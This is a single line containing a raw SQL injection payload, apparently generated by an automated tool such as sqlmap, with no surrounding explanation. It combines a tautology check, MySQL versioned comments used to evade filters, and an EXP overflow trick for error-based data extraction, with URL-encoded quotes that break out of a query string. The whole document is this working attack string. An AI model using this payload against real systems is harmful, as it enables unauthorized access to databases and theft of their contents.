1||(SELECT 'UHHSEQqX' FROM DUAL WHERE 9591=9591,(/*!50000SELECT*/4839/*!50000FROM*/(/*!50000SELECT*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4839=4839,1))),%27~%27,%27x%27))x)))s))||